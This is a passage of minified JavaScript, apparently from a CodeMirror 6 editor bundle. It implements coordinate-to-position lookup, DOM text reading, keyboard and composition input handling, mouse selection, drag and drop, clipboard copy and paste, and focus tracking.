gt(i.state.doc.length,-1);if(h=i.elementAtHeight(a),n==null)break;if(h.type==Se.Text){if(n<0?h.to<i.viewport.from:h.from>i.viewport.to)break;let u=i.docView.coordsAt(n<0?h.from:h.to,n>0?-1:1);if(u&&(n<0?u.top<=a+s:u.bottom>=a+s))break}let f=i.viewState.heightOracle.textHeight/2;a=n>0?h.bottom+f:h.top-f}if(i.viewport.from>=h.to||i.viewport.to<=h.from){if(t)return null;if(h.type==Se.Text){let f=hy(i,r,h,o,l);return new gt(f,f==h.from?1:-1)}}if(h.type!=Se.Text)return a<(h.top+h.bottom)/2?new gt(h.from,1):new gt(h.to,-1);let c=i.docView.lineAt(h.from,2);return(!c||c.length!=h.length)&&(c=i.docView.lineAt(h.from,-2)),new dy(i,o,l,i.textDirectionAt(h.from)).scanTile(c,h.from)}class dy{constructor(e,t,n,r){this.view=e,this.x=t,this.y=n,this.baseDir=r,this.line=null,this.spans=null}bidiSpansAt(e){return(!this.line||this.line.from>e||this.line.to<e)&&(this.line=this.view.state.doc.lineAt(e),this.spans=this.view.bidiSpans(this.line)),this}baseDirAt(e,t){let{line:n,spans:r}=this.bidiSpansAt(e);return r[bt.find(r,e-n.from,-1,t)].level==this.baseDir}dirAt(e,t){let{line:n,spans:r}=this.bidiSpansAt(e);return r[bt.find(r,e-n.from,-1,t)].dir}bidiIn(e,t){let{spans:n,line:r}=this.bidiSpansAt(e);return n.length>1||n.length&&(n[0].level!=this.baseDir||n[0].to+r.from<t)}scan(e,t,n=!1){let r=0,s=e.length-1,o=new Set,l=this.bidiIn(e[0],e[s]),a,h,c=-1,f=1e9,u;e:for(;r<s;){let p=s-r,g=r+s>>1;t:if(o.has(g)){let b=r+Math.floor(Math.random()*p);for(let x=0;x<p;x++){if(!o.has(b)){g=b;break t}b++,b==s&&(b=r)}break e}o.add(g);let m=t(g);if(m)for(let b=0;b<m.length;b++){let x=m[b],S=0;if(!(x.width==0&&m.length>1)){if(x.bottom<this.y)(!a||a.bottom<x.bottom)&&(a=x),S=1;else if(x.top>this.y)(!h||h.top>x.top)&&(h=x),S=-1;else{let M=x.left>this.x?this.x-x.left:x.right<this.x?this.x-x.right:0,k=Math.abs(M);k<f&&(c=g,f=k,u=x),M&&(S=M<0==(this.baseDir==J.LTR)?-1:1)}S==-1&&(!l||this.baseDirAt(e[g],1))?s=g:S==1&&(!l||this.baseDirAt(e[g+1],-1))&&(r=g+1)}}}if(!u){if(!h&&!a)return{i:e[0],after:!1};let p=a&&(!h||this.y-a.bottom<h.top-this.y)?a:h;return this.y=(p.top+p.bottom)/2,this.scan(e,t,!0)}if(f&&!n){let{top:p,bottom:g}=u;if(a&&a.bottom>(p+p+g)/3)return this.y=a.bottom-1,this.scan(e,t,!0);if(h&&h.top<(p+g+g)/3)return this.y=h.top+1,this.scan(e,t,!0)}let d=(l?this.dirAt(e[c],1):this.baseDir)==J.LTR;return{i:c,after:this.x>(u.left+u.right)/2==d}}scanText(e,t){let n=[];for(let s=0;s<e.length;s=pe(e.text,s))n.push(t+s);n.push(t+e.length);let r=this.scan(n,s=>{let o=n[s]-t,l=n[s+1]-t;return En(e.dom,o,l).getClientRects()});return r.after?new gt(n[r.i+1],-1):new gt(n[r.i],1)}scanTile(e,t){if(!e.length)return new gt(t,1);if(e.children.length==1){let l=e.children[0];if(l.isText())return this.scanText(l,t);if(l.isComposite())return this.scanTile(l,t)}let n=[t];for(let l=0,a=t;l<e.children.length;l++)n.push(a+=e.children[l].length);let r=this.scan(n,l=>{let a=e.children[l];return a.flags&48?null:(a.dom.nodeType==1?a.dom:En(a.dom,0,a.length)).getClientRects()}),s=e.children[r.i],o=n[r.i];return s.isText()?this.scanText(s,o):s.isComposite()?this.scanTile(s,o):r.after?new gt(n[r.i+1],-1):new gt(o,1)}}const vi="￿";class py{constructor(e,t){this.points=e,this.view=t,this.text="",this.lineSeparator=t.state.facet(V.lineSeparator)}append(e){this.text+=e}lineBreak(){this.text+=vi}readRange(e,t){if(!e)return this;let n=e.parentNode;for(let r=e;;){this.findPointBefore(n,r);let s=this.text.length;this.readNode(r);let o=re.get(r),l=r.nextSibling;if(l==t){o?.breakAfter&&!l&&n!=this.view.contentDOM&&this.lineBreak();break}let a=re.get(l);(o&&a?o.breakAfter:(o?o.breakAfter:Fr(r))||Fr(l)&&(r.nodeName!="BR"||o?.isWidget())&&this.text.length>s)&&!my(l,t)&&this.lineBreak(),r=l}return this.findPointBefore(n,t),this}readTextNode(e){let t=e.nodeValue;for(let n of this.points)n.node==e&&(n.pos=this.text.length+Math.min(n.offset,t.length));for(let n=0,r=this.lineSeparator?null:/\r\n?|\n/g;;){let s=-1,o=1,l;if(this.lineSeparator?(s=t.indexOf(this.lineSeparator,n),o=this.lineSeparator.length):(l=r.exec(t))&&(s=l.index,o=l[0].length),this.append(t.slice(n,s<0?t.length:s)),s<0)break;if(this.lineBreak(),o>1)for(let a of this.points)a.node==e&&a.pos>this.text.length&&(a.pos-=o-1);n=s+o}}readNode(e){let t=re.get(e),n=t&&t.overrideDOMText;if(n!=null){this.findPointInside(e,n.length);for(let r=n.iter();!r.next().done;)r.lineBreak?this.lineBreak():this.append(r.value)}else e.nodeType==3?this.readTextNode(e):e.nodeName=="BR"?e.nextSibling&&this.lineBreak():e.nodeType==1&&this.readRange(e.firstChild,null)}findPointBefore(e,t){for(let n of this.points)n.node==e&&e.childNodes[n.offset]==t&&(n.pos=this.text.length)}findPointInside(e,t){for(let n of this.points)(e.nodeType==3?n.node==e:e.contains(n.node))&&(n.pos=this.text.length+(gy(e,n.node,n.offset)?t:0))}}function gy(i,e,t){for(;;){if(!e||t<Lt(e))return!1;if(e==i)return!0;t=qt(e)+1,e=e.parentNode}}function my(i,e){let t;for(;!(i==e||!i);i=i.nextSibling){let n=re.get(i);if(!n?.isWidget())return!1;n&&(t||(t=[])).push(n)}if(t)for(let n of t){let r=n.overrideDOMText;if(r?.length)return!1}return!0}class fh{constructor(e,t){this.node=e,this.offset=t,this.pos=-1}}class by{constructor(e,t,n,r){this.typeOver=r,this.bounds=null,this.text="",this.domChanged=t>-1;let{impreciseHead:s,impreciseAnchor:o}=e.docView,l=e.state.selection;if(e.state.readOnly&&t>-1)this.newSel=null;else if(t>-1&&(this.bounds=Ou(e.docView.tile,t,n,0))){let a=s||o?[]:xy(e),h=new py(a,e);h.readRange(this.bounds.startDOM,this.bounds.endDOM),this.text=h.text,this.newSel=vy(a,this.bounds.from)}else{let a=e.observer.selectionRange,h=s&&s.node==a.focusNode&&s.offset==a.focusOffset||!jo(e.contentDOM,a.focusNode)?l.main.head:e.docView.posFromDOM(a.focusNode,a.focusOffset),c=o&&o.node==a.anchorNode&&o.offset==a.anchorOffset||!jo(e.contentDOM,a.anchorNode)?l.main.anchor:e.docView.posFromDOM(a.anchorNode,a.anchorOffset),f=e.viewport;if((P.ios||P.chrome)&&l.main.empty&&h!=c&&(f.from>0||f.to<e.state.doc.length)){let u=Math.min(h,c),d=Math.max(h,c),p=f.from-u,g=f.to-d;(p==0||p==1||u==0)&&(g==0||g==-1||d==e.state.doc.length)&&(h=0,c=e.state.doc.length)}if(e.inputState.composing>-1&&l.ranges.length>1)this.newSel=l.replaceRange(v.range(c,h));else if(e.lineWrapping&&c==h&&!(l.main.empty&&l.main.head==h)&&e.inputState.lastTouchTime>Date.now()-100){let u=e.coordsAtPos(h,-1),d=0;u&&(d=e.inputState.lastTouchY<=u.bottom?-1:1),this.newSel=v.create([v.cursor(h,d)])}else this.newSel=v.single(c,h)}}}function Ou(i,e,t,n){if(i.isComposite()){let r=-1,s=-1,o=-1,l=-1;for(let a=0,h=n,c=n;a<i.children.length;a++){let f=i.children[a],u=h+f.length;if(h<e&&u>t)return Ou(f,e,t,h);if(u>=e&&r==-1&&(r=a,s=h),h>t&&f.dom.parentNode==i.dom){o=a,l=c;break}c=u,h=u+f.breakAfter}return{from:s,to:l<0?n+i.length:l,startDOM:(r?i.children[r-1].dom.nextSibling:null)||i.dom.firstChild,endDOM:o<i.children.length&&o>=0?i.children[o].dom:null}}else return i.isText()?{from:n,to:n+i.length,startDOM:i.dom,endDOM:i.dom.nextSibling}:null}function Cu(i,e){let t,{newSel:n}=e,{state:r}=i,s=r.selection.main,o=i.inputState.lastKeyTime>Date.now()-100?i.inputState.lastKeyCode:-1;if(e.bounds){let{from:l,to:a}=e.bounds,h=s.from,c=null;(o===8||P.android&&e.text.length<a-l)&&(h=s.to,c="end");let f=r.doc.sliceString(l,a,vi),u,d;!s.empty&&s.from>=l&&s.to<=a&&(e.typeOver||f!=e.text)&&f.slice(0,s.from-l)==e.text.slice(0,s.from-l)&&f.slice(s.to-l)==e.text.slice(u=e.text.length-(f.length-(s.to-l)))?t={from:s.from,to:s.to,insert:z.of(e.text.slice(s.from-l,u).split(vi))}:(d=Au(f,e.text,h-l,c))&&(P.chrome&&o==13&&d.toB==d.from+2&&e.text.slice(d.from,d.toB)==vi+vi&&d.toB--,t={from:l+d.from,to:l+d.toA,insert:z.of(e.text.slice(d.from,d.toB).split(vi))})}else n&&(!i.hasFocus&&r.facet(At)||Hr(n,s))&&(n=null);if(!t&&!n)return!1;if((P.mac||P.android)&&t&&t.from==t.to&&t.from==s.head-1&&/^\. ?$/.test(t.insert.toString())&&i.contentDOM.getAttribute("autocorrect")=="off"?(n&&t.insert.length==2&&(n=v.single(n.main.anchor-1,n.main.head-1)),t={from:t.from,to:t.to,insert:z.of([t.insert.toString().replace("."," ")])}):r.doc.lineAt(s.from).to<s.to&&i.docView.lineHasWidget(s.to)&&i.inputState.insertingTextAt>Date.now()-50?t={from:s.from,to:s.to,insert:r.toText(i.inputState.insertingText)}:P.chrome&&t&&t.from==t.to&&t.from==s.head&&t.insert.toString()==`
 `&&i.lineWrapping&&(n&&(n=v.single(n.main.anchor-1,n.main.head-1)),t={from:s.from,to:s.to,insert:z.of([" "])}),t)return Gl(i,t,n,o);if(n&&!Hr(n,s)){let l=!1,a="select";return i.inputState.lastSelectionTime>Date.now()-50&&(i.inputState.lastSelectionOrigin=="select"&&(l=!0),a=i.inputState.lastSelectionOrigin,a=="select.pointer"&&(n=wu(r.facet(Qn).map(h=>h(i)),n))),i.dispatch({selection:n,scrollIntoView:l,userEvent:a}),!0}else return!1}function Gl(i,e,t,n=-1){if(P.ios&&i.inputState.flushIOSKey(e))return!0;let r=i.state.selection.main;if(P.android&&(e.to==r.to&&(e.from==r.from||e.from==r.from-1&&i.state.sliceDoc(e.from,r.from)==" ")&&e.insert.length==1&&e.insert.lines==2&&Ii(i.contentDOM,"Enter",13)||(e.from==r.from-1&&e.to==r.to&&e.insert.length==0||n==8&&e.insert.length<e.to-e.from&&e.to>r.head)&&Ii(i.contentDOM,"Backspace",8)||e.from==r.from&&e.to==r.to+1&&e.insert.length==0&&Ii(i.contentDOM,"Delete",46)))return!0;let s=e.insert.toString();i.inputState.composing>=0&&i.inputState.composing++;let o,l=()=>o||(o=yy(i,e,t));return i.state.facet(fu).some(a=>a(i,e.from,e.to,s,l))||i.dispatch(l()),!0}function yy(i,e,t){let n,r=i.state,s=r.selection.main,o=-1;if(e.from==e.to&&e.from<s.from||e.from>s.to){let a=e.from<s.from?-1:1,h=a<0?s.from:s.to,c=vn(r.facet(Qn).map(f=>f(i)),h,a);e.from==c&&(o=c)}if(o>-1)n={changes:e,selection:v.cursor(e.from+e.insert.length,-1)};else if(e.from>=s.from&&e.to<=s.to&&e.to-e.from>=(s.to-s.from)/3&&(!t||t.main.empty&&t.main.from==e.from+e.insert.length)&&i.inputState.composing<0){let a=s.from<e.from?r.sliceDoc(s.from,e.from):"",h=s.to>e.to?r.sliceDoc(e.to,s.to):"";n=r.replaceSelection(i.state.toText(a+e.insert.sliceString(0,void 0,i.state.lineBreak)+h))}else{let a=r.changes(e),h=t&&t.main.to<=a.newLength?t.main:void 0;if(r.selection.ranges.length>1&&(i.inputState.composing>=0||i.inputState.compositionPendingChange)&&e.to<=s.to+10&&e.to>=s.to-10){let c=i.state.sliceDoc(e.from,e.to),f,u=t&&ku(i,t.main.head);if(u){let p=e.insert.length-(e.to-e.from);f={from:u.from,to:u.to-p}}else f=i.state.doc.lineAt(s.head);let d=s.to-e.to;n=r.changeByRange(p=>{if(p.from==s.from&&p.to==s.to)return{changes:a,range:h||p.map(a)};let g=p.to-d,m=g-c.length;if(i.state.sliceDoc(m,g)!=c||g>=f.from&&m<=f.to)return{range:p};let b=r.changes({from:m,to:g,insert:e.insert}),x=p.to-s.to;return{changes:b,range:h?v.range(Math.max(0,h.anchor+x),Math.max(0,h.head+x)):p.map(b)}})}else n={changes:a,selection:h&&r.selection.replaceRange(h)}}let l="input.type";return(i.composing||i.inputState.compositionPendingChange&&i.inputState.compositionEndedAt>Date.now()-50)&&(i.inputState.compositionPendingChange=!1,l+=".compose",i.inputState.compositionFirstChange&&(l+=".start",i.inputState.compositionFirstChange=!1)),r.update(n,{userEvent:l,scrollIntoView:!0})}function Au(i,e,t,n){let r=Math.min(i.length,e.length),s=0;for(;s<r&&i.charCodeAt(s)==e.charCodeAt(s);)s++;if(s==r&&i.length==e.length)return null;let o=i.length,l=e.length;for(;o>0&&l>0&&i.charCodeAt(o-1)==e.charCodeAt(l-1);)o--,l--;if(n=="end"){let a=Math.max(0,s-Math.min(o,l));t-=o+a-s}if(o<s&&i.length<e.length){let a=t<=s&&t>=o?s-t:0;s-=a,l=s+(l-o),o=s}else if(l<s){let a=t<=s&&t>=l?s-t:0;s-=a,o=s+(o-l),l=s}return{from:s,toA:o,toB:l}}function xy(i){let e=[];if(i.root.activeElement!=i.contentDOM)return e;let{anchorNode:t,anchorOffset:n,focusNode:r,focusOffset:s}=i.observer.selectionRange;return t&&(e.push(new fh(t,n)),(r!=t||s!=n)&&e.push(new fh(r,s))),e}function vy(i,e){if(i.length==0)return null;let t=i[0].pos,n=i.length==2?i[1].pos:t;return t>-1&&n>-1?v.single(t+e,n+e):null}function Hr(i,e){return e.head==i.main.head&&e.anchor==i.main.anchor}class Sy{setSelectionOrigin(e){this.lastSelectionOrigin=e,this.lastSelectionTime=Date.now()}constructor(e){this.view=e,this.lastKeyCode=0,this.lastKeyTime=0,this.lastTouchTime=0,this.lastTouchX=0,this.lastTouchY=0,this.lastFocusTime=0,this.lastScrollTop=0,this.lastScrollLeft=0,this.lastWheelEvent=0,this.pendingIOSKey=void 0,this.tabFocusMode=-1,this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastContextMenu=0,this.scrollHandlers=[],this.handlers=Object.create(null),this.composing=-1,this.compositionFirstChange=null,this.compositionEndedAt=0,this.compositionPendingKey=!1,this.compositionPendingChange=!1,this.insertingText="",this.insertingTextAt=0,this.mouseSelection=null,this.draggedContent=null,this.handleEvent=this.handleEvent.bind(this),this.notifiedFocused=e.hasFocus,P.safari&&e.contentDOM.addEventListener("input",()=>null),P.gecko&&By(e.contentDOM.ownerDocument)}handleEvent(e){!Py(this.view,e)||this.ignoreDuringComposition(e)||e.type=="keydown"&&this.keydown(e)||(this.view.updateState!=0?Promise.resolve().then(()=>this.runHandlers(e.type,e)):this.runHandlers(e.type,e))}runHandlers(e,t){let n=this.handlers[e];if(n){for(let r of n.observers)r(this.view,t);for(let r of n.handlers){if(t.defaultPrevented)break;if(r(this.view,t)){t.preventDefault();break}}}}ensureHandlers(e){let t=ky(e),n=this.handlers,r=this.view.contentDOM;for(let s in t)if(s!="scroll"){let o=!t[s].handlers.length,l=n[s];l&&o!=!l.handlers.length&&(r.removeEventListener(s,this.handleEvent),l=null),l||r.addEventListener(s,this.handleEvent,{passive:o})}for(let s in n)s!="scroll"&&!t[s]&&r.removeEventListener(s,this.handleEvent);this.handlers=t}keydown(e){if(this.lastKeyCode=e.keyCode,this.lastKeyTime=Date.now(),e.keyCode==9&&this.tabFocusMode>-1&&(!this.tabFocusMode||Date.now()<=this.tabFocusMode))return!0;if(this.tabFocusMode>0&&e.keyCode!=27&&Mu.indexOf(e.keyCode)<0&&(this.tabFocusMode=-1),P.android&&P.chrome&&!e.synthetic&&(e.keyCode==13||e.keyCode==8))return this.view.observer.delayAndroidKey(e.key,e.keyCode),!0;let t;return P.ios&&!e.synthetic&&!e.altKey&&!e.metaKey&&!e.shiftKey&&((t=Tu.find(n=>n.keyCode==e.keyCode))&&!e.ctrlKey||wy.indexOf(e.key)>-1&&e.ctrlKey)?(this.pendingIOSKey=t||e,setTimeout(()=>this.flushIOSKey(),250),!0):(e.keyCode!=229&&this.view.observer.forceFlush(),!1)}flushIOSKey(e){let t=this.pendingIOSKey;return!t||t.key=="Enter"&&e&&e.from<e.to&&/^\S+$/.test(e.insert.toString())?!1:(this.pendingIOSKey=void 0,Ii(this.view.contentDOM,t.key,t.keyCode,t instanceof KeyboardEvent?t:void 0))}ignoreDuringComposition(e){return!/^key/.test(e.type)||e.synthetic?!1:this.composing>0?!0:P.safari&&!P.ios&&this.compositionPendingKey&&Date.now()-this.compositionEndedAt<100?(this.compositionPendingKey=!1,!0):!1}startMouseSelection(e){this.mouseSelection&&this.mouseSelection.destroy(),this.mouseSelection=e}update(e){this.view.observer.update(e),this.mouseSelection&&this.mouseSelection.update(e),this.draggedContent&&e.docChanged&&(this.draggedContent=this.draggedContent.map(e.changes)),e.transactions.length&&(this.lastKeyCode=this.lastSelectionTime=0)}destroy(){this.mouseSelection&&this.mouseSelection.destroy()}}function uh(i,e){return(t,n)=>{try{return e.call(i,n,t)}catch(r){Fe(t.state,r)}}}function ky(i){let e=Object.create(null);function t(n){return e[n]||(e[n]={observers:[],handlers:[]})}for(let n of i){let r=n.spec,s=r&&r.plugin.domEventHandlers,o=r&&r.plugin.domEventObservers;if(s)for(let l in s){let a=s[l];a&&t(l).handlers.push(uh(n.value,a))}if(o)for(let l in o){let a=o[l];a&&t(l).observers.push(uh(n.value,a))}}for(let n in rt)t(n).handlers.push(rt[n]);for(let n in We)t(n).observers.push(We[n]);return e}const Tu=[{key:"Backspace",keyCode:8,inputType:"deleteContentBackward"},{key:"Enter",keyCode:13,inputType:"insertParagraph"},{key:"Enter",keyCode:13,inputType:"insertLineBreak"},{key:"Delete",keyCode:46,inputType:"deleteContentForward"}],wy="dthko",Mu=[16,17,18,20,91,92,224,225],Zn=6;function er(i){return Math.max(0,i)*.7+8}function Oy(i,e){return Math.max(Math.abs(i.clientX-e.clientX),Math.abs(i.clientY-e.clientY))}class Cy{constructor(e,t,n,r){this.view=e,this.startEvent=t,this.style=n,this.mustSelect=r,this.scrollSpeed={x:0,y:0},this.scrolling=-1,this.lastEvent=t,this.scrollParents=Gf(e.contentDOM),this.atoms=e.state.facet(Qn).map(o=>o(e));let s=e.contentDOM.ownerDocument;s.addEventListener("mousemove",this.move=this.move.bind(this)),s.addEventListener("mouseup",this.up=this.up.bind(this)),this.extend=t.shiftKey,this.multiple=e.state.facet(V.allowMultipleSelections)&&Ay(e,t),this.dragging=My(e,t)&&Lu(t)==1?null:!1}start(e){this.dragging===!1&&this.select(e)}move(e){if(e.buttons==0)return this.destroy();if(this.dragging||this.dragging==null&&Oy(this.startEvent,e)<10)return;this.select(this.lastEvent=e);let t=0,n=0,r=0,s=0,o=this.view.win.innerWidth,l=this.view.win.innerHeight;this.scrollParents.x&&({left:r,right:o}=this.scrollParents.x.getBoundingClientRect()),this.scrollParents.y&&({top:s,bottom:l}=this.scrollParents.y.getBoundingClientRect());let a=Yl(this.view);e.clientX-a.left<=r+Zn?t=-er(r-e.clientX):e.clientX+a.right>=o-Zn&&(t=er(e.clientX-o)),e.clientY-a.top<=s+Zn?n=-er(s-e.clientY):e.clientY+a.bottom>=l-Zn&&(n=er(e.clientY-l)),this.setScrollSpeed(t,n)}up(e){this.dragging==null&&this.select(this.lastEvent),this.dragging||e.preventDefault(),this.destroy()}destroy(){this.setScrollSpeed(0,0);let e=this.view.contentDOM.ownerDocument;e.removeEventListener("mousemove",this.move),e.removeEventListener("mouseup",this.up),this.view.inputState.mouseSelection=this.view.inputState.draggedContent=null}setScrollSpeed(e,t){this.scrollSpeed={x:e,y:t},e||t?this.scrolling<0&&(this.scrolling=setInterval(()=>this.scroll(),50)):this.scrolling>-1&&(clearInterval(this.scrolling),this.scrolling=-1)}scroll(){let{x:e,y:t}=this.scrollSpeed;e&&this.scrollParents.x&&(this.scrollParents.x.scrollLeft+=e,e=0),t&&this.scrollParents.y&&(this.scrollParents.y.scrollTop+=t,t=0),(e||t)&&this.view.win.scrollBy(e,t),this.dragging===!1&&this.select(this.lastEvent)}select(e){let{view:t}=this,n=wu(this.atoms,this.style.get(e,this.extend,this.multiple));(this.mustSelect||!n.eq(t.state.selection,this.dragging===!1))&&this.view.dispatch({selection:n,userEvent:"select.pointer"}),this.mustSelect=!1}update(e){e.transactions.some(t=>t.isUserEvent("input.type"))?this.destroy():this.style.update(e)&&setTimeout(()=>this.select(this.lastEvent),20)}}function Ay(i,e){let t=i.state.facet(lu);return t.length?t[0](e):P.mac?e.metaKey:e.ctrlKey}function Ty(i,e){let t=i.state.facet(au);return t.length?t[0](e):P.mac?!e.altKey:!e.ctrlKey}function My(i,e){let{main:t}=i.state.selection;if(t.empty)return!1;let n=Mn(i.root);if(!n||n.rangeCount==0)return!0;let r=n.getRangeAt(0).getClientRects();for(let s=0;s<r.length;s++){let o=r[s];if(o.left<=e.clientX&&o.right>=e.clientX&&o.top<=e.clientY&&o.bottom>=e.clientY)return!0}return!1}function Py(i,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let t=e.target,n;t!=i.contentDOM;t=t.parentNode)if(!t||t.nodeType==11||(n=re.get(t))&&n.isWidget()&&!n.isHidden&&n.widget.ignoreEvent(e))return!1;return!0}const rt=Object.create(null),We=Object.create(null),Pu=P.ie&&P.ie_version<15||P.ios&&P.webkit_version<604;function Ey(i){let e=i.dom.parentNode;if(!e)return;let t=e.appendChild(document.createElement("textarea"));t.style.cssText="position: fixed; left: -10000px; top: 10px",t.focus(),setTimeout(()=>{i.focus(),t.remove(),Eu(i,t.value)},50)}function xs(i,e,t){for(let n of i.facet(e))t=n(t,i);return t}function Eu(i,e){e=xs(i.state,Ul,e);let{state:t}=i,n,r=1,s=t.toText(e),o=s.lines==t.selection.ranges.length;if(nl!=null&&t.selection.ranges.every(a=>a.empty)&&nl==s.toString()){let a=-1;n=t.changeByRange(h=>{let c=t.doc.lineAt(h.from);if(c.from==a)return{range:h};a=c.from;let f=t.toText((o?s.line(r++).text:e)+t.lineBreak);return{changes:{from:c.from,insert:f},range:v.cursor(h.from+f.length)}})}else o?n=t.changeByRange(a=>{let h=s.line(r++);return{changes:{from:a.from,to:a.to,insert:h.text},range:v.cursor(a.from+h.length)}}):n=t.replaceSelection(s);i.dispatch(n,{userEvent:"input.paste",scrollIntoView:!0})}We.scroll=i=>{i.inputState.lastScrollTop=i.scrollDOM.scrollTop,i.inputState.lastScrollLeft=i.scrollDOM.scrollLeft};We.wheel=We.mousewheel=i=>{i.inputState.lastWheelEvent=Date.now()};rt.keydown=(i,e)=>(i.inputState.setSelectionOrigin("select"),e.keyCode==27&&i.inputState.tabFocusMode!=0&&(i.inputState.tabFocusMode=Date.now()+2e3),!1);We.touchstart=(i,e)=>{let t=i.inputState,n=e.targetTouches[0];t.lastTouchTime=Date.now(),n&&(t.lastTouchX=n.clientX,t.lastTouchY=n.clientY),t.setSelectionOrigin("select.pointer")};We.touchmove=i=>{i.inputState.setSelectionOrigin("select.pointer")};rt.mousedown=(i,e)=>{if(i.observer.flush(),i.inputState.lastTouchTime>Date.now()-2e3)return!1;let t=null;for(let n of i.state.facet(hu))if(t=n(i,e),t)break;if(!t&&e.button==0&&(t=Dy(i,e)),t){let n=!i.hasFocus;i.inputState.startMouseSelection(new Cy(i,e,t,n)),n&&i.observer.ignore(()=>{Jf(i.contentDOM);let s=i.root.activeElement;s&&!s.contains(i.contentDOM)&&s.blur()});let r=i.inputState.mouseSelection;if(r)return r.start(e),r.dragging===!1}else i.inputState.setSelectionOrigin("select.pointer");return!1};function dh(i,e,t,n){if(n==1)return v.cursor(e,t);if(n==2)return ay(i.state,e,t);{let r=i.docView.lineAt(e,t),s=i.state.doc.lineAt(r?r.posAtEnd:e),o=r?r.posAtStart:s.from,l=r?r.posAtEnd:s.to;return l<i.state.doc.length&&l==s.to&&l++,v.range(o,l)}}const Ly=P.ie&&P.ie_version<=11;let ph=null,gh=0,mh=0;function Lu(i){if(!Ly)return i.detail;let e=ph,t=mh;return ph=i,mh=Date.now(),gh=!e||t>Date.now()-400&&Math.abs(e.clientX-i.clientX)<2&&Math.abs(e.clientY-i.clientY)<2?(gh+1)%3:1}function Dy(i,e){let t=i.posAndSideAtCoords({x:e.clientX,y:e.clientY},!1),n=Lu(e),r=i.state.selection;return{update(s){s.docChanged&&(t.pos=s.changes.mapPos(t.pos),r=r.map(s.changes))},get(s,o,l){let a=i.posAndSideAtCoords({x:s.clientX,y:s.clientY},!1),h,c=dh(i,a.pos,a.assoc,n);if(t.pos!=a.pos&&!o){let f=dh(i,t.pos,t.assoc,n),u=Math.min(f.from,c.from),d=Math.max(f.to,c.to);c=u<c.from?v.range(u,d,c.assoc):v.range(d,u,c.assoc)}return o?r.replaceRange(r.main.extend(c.from,c.to,c.assoc)):l&&n==1&&r.ranges.length>1&&(h=Ry(r,a.pos))?h:l?r.addRange(c):v.create([c])}}}function Ry(i,e){for(let t=0;t<i.ranges.length;t++){let{from:n,to:r}=i.ranges[t];if(n<=e&&r>=e)return v.create(i.ranges.slice(0,t).concat(i.ranges.slice(t+1)),i.mainIndex==t?0:i.mainIndex-(i.mainIndex>t?1:0))}return null}rt.dragstart=(i,e)=>{let{selection:{main:t}}=i.state;if(e.target.draggable){let r=i.docView.tile.nearest(e.target);if(r&&r.isWidget()){let s=r.posAtStart,o=s+r.length;(s>=t.to||o<=t.from)&&(t=v.range(s,o))}}let{inputState:n}=i;return n.mouseSelection&&(n.mouseSelection.dragging=!0),n.draggedContent=t,e.dataTransfer&&(e.dataTransfer.setData("Text",xs(i.state,Kl,i.state.sliceDoc(t.from,t.to))),e.dataTransfer.effectAllowed="copyMove"),!1};rt.dragend=i=>(i.inputState.draggedContent=null,!1);function bh(i,e,t,n){if(t=xs(i.state,Ul,t),!t)return;let r=i.posAtCoords({x:e.clientX,y:e.clientY},!1),{draggedContent:s}=i.inputState,o=n&&s&&Ty(i,e)?{from:s.from,to:s.to}:null,l={from:r,insert:t},a=i.state.changes(o?[o,l]:l);i.focus(),i.dispatch({changes:a,selection:{anchor:a.mapPos(r,-1),head:a.mapPos(r,1)},userEvent:o?"move.drop":"input.drop"}),i.inputState.draggedContent=null}rt.drop=(i,e)=>{if(!e.dataTransfer)return!1;if(i.state.readOnly)return!0;let t=e.dataTransfer.files;if(t&&t.length){let n=Array(t.length),r=0,s=()=>{++r==t.length&&bh(i,e,n.filter(o=>o!=null).join(i.state.lineBreak),!1)};for(let o=0;o<t.length;o++){let l=new FileReader;l.onerror=s,l.onload=()=>{/[\x00-\x08\x0e-\x1f]{2}/.test(l.result)||(n[o]=l.result),s()},l.readAsText(t[o])}return!0}else{let n=e.dataTransfer.getData("Text");if(n)return bh(i,e,n,!0),!0}return!1};rt.paste=(i,e)=>{if(i.state.readOnly)return!0;i.observer.flush();let t=Pu?null:e.clipboardData;return t?(Eu(i,t.getData("text/plain")||t.getData("text/uri-list")),!0):(Ey(i),!1)};function Iy(i,e){let t=i.dom.parentNode;if(!t)return;let n=t.appendChild(document.createElement("textarea"));n.style.cssText="position: fixed; left: -10000px; top: 10px",n.value=e,n.focus(),n.selectionEnd=e.length,n.selectionStart=0,setTimeout(()=>{n.remove(),i.focus()},50)}function Ny(i){let e=[],t=[],n=!1;for(let r of i.selection.ranges)r.empty||(e.push(i.sliceDoc(r.from,r.to)),t.push(r));if(!e.length){let r=-1;for(let{from:s}of i.selection.ranges){let o=i.doc.lineAt(s);o.number>r&&(e.push(o.text),t.push({from:o.from,to:Math.min(i.doc.length,o.to+1)})),r=o.number}n=!0}return{text:xs(i,Kl,e.join(i.lineBreak)),ranges:t,linewise:n}}let nl=null;rt.copy=rt.cut=(i,e)=>{if(!bn(i.contentDOM,i.observer.selectionRange))return!1;let{text:t,ranges:n,linewise:r}=Ny(i.state);if(!t&&!r)return!1;nl=r?t:null,e.type=="cut"&&!i.state.readOnly&&i.dispatch({changes:n,scrollIntoView:!0,userEvent:"delete.cut"});let s=Pu?null:e.clipboardData;return s?(s.clearData(),s.setData("text/plain",t),!0):(Iy(i,t),!1)};const Du=St.define();function Ru(i,e){let t=[];for(let n of i.facet(uu)){let r=n(i,e);r&&t.push(r)}return t.length?i.update({effects:t,annotations:Du.of(!0)}):null}function Iu(i){setTimeout(()=>{let e=i.hasFocus;if(e!=i.inputState.notifiedFocused){let t=Ru(i.state,e);t?i.dispatch(t):i.update([])}},10)}We.focus=i=>{i.inputState.lastFocusTime=Date.now(),!i.scrollDOM.scrollTop&&(i.inputState.lastScrollTop||i.inputState.lastScrollLeft)&&(i.scrollDOM.scrollTop=i.inputState.lastScrollTop,i.scrollDOM.scrollLeft=i.inputState.lastScrollLeft),Iu(i)};We.blur=i=>{i.observer.clearSelectionRange(),Iu(i)};We.compositionstart=We.compositionupdate=i=>{i.observer.editContext||(i.inputState.compositionFirstChange==null&&(i.inputState.compositionFirstChange=!0),i.inputState.composing<0&&(i.inputState.composing=0))};We.compositionend=i=>{i.observer.editContext||(i.inputState.composing=-1,i.inputState.compositionEndedAt=Date.now(),i.inputState.compositionPendingKey=!0,i.inputState.compositionPendingChange=i.observer.pendingRecords().length>0,i.inputState.compositionFirstChange=null,P.chrome&&P.android?i.observer.flushSoon():i.inputState.compositionPendingChange?Promise.resolve().then(()=>i.observer.flush()):setTimeout(()=>{i.input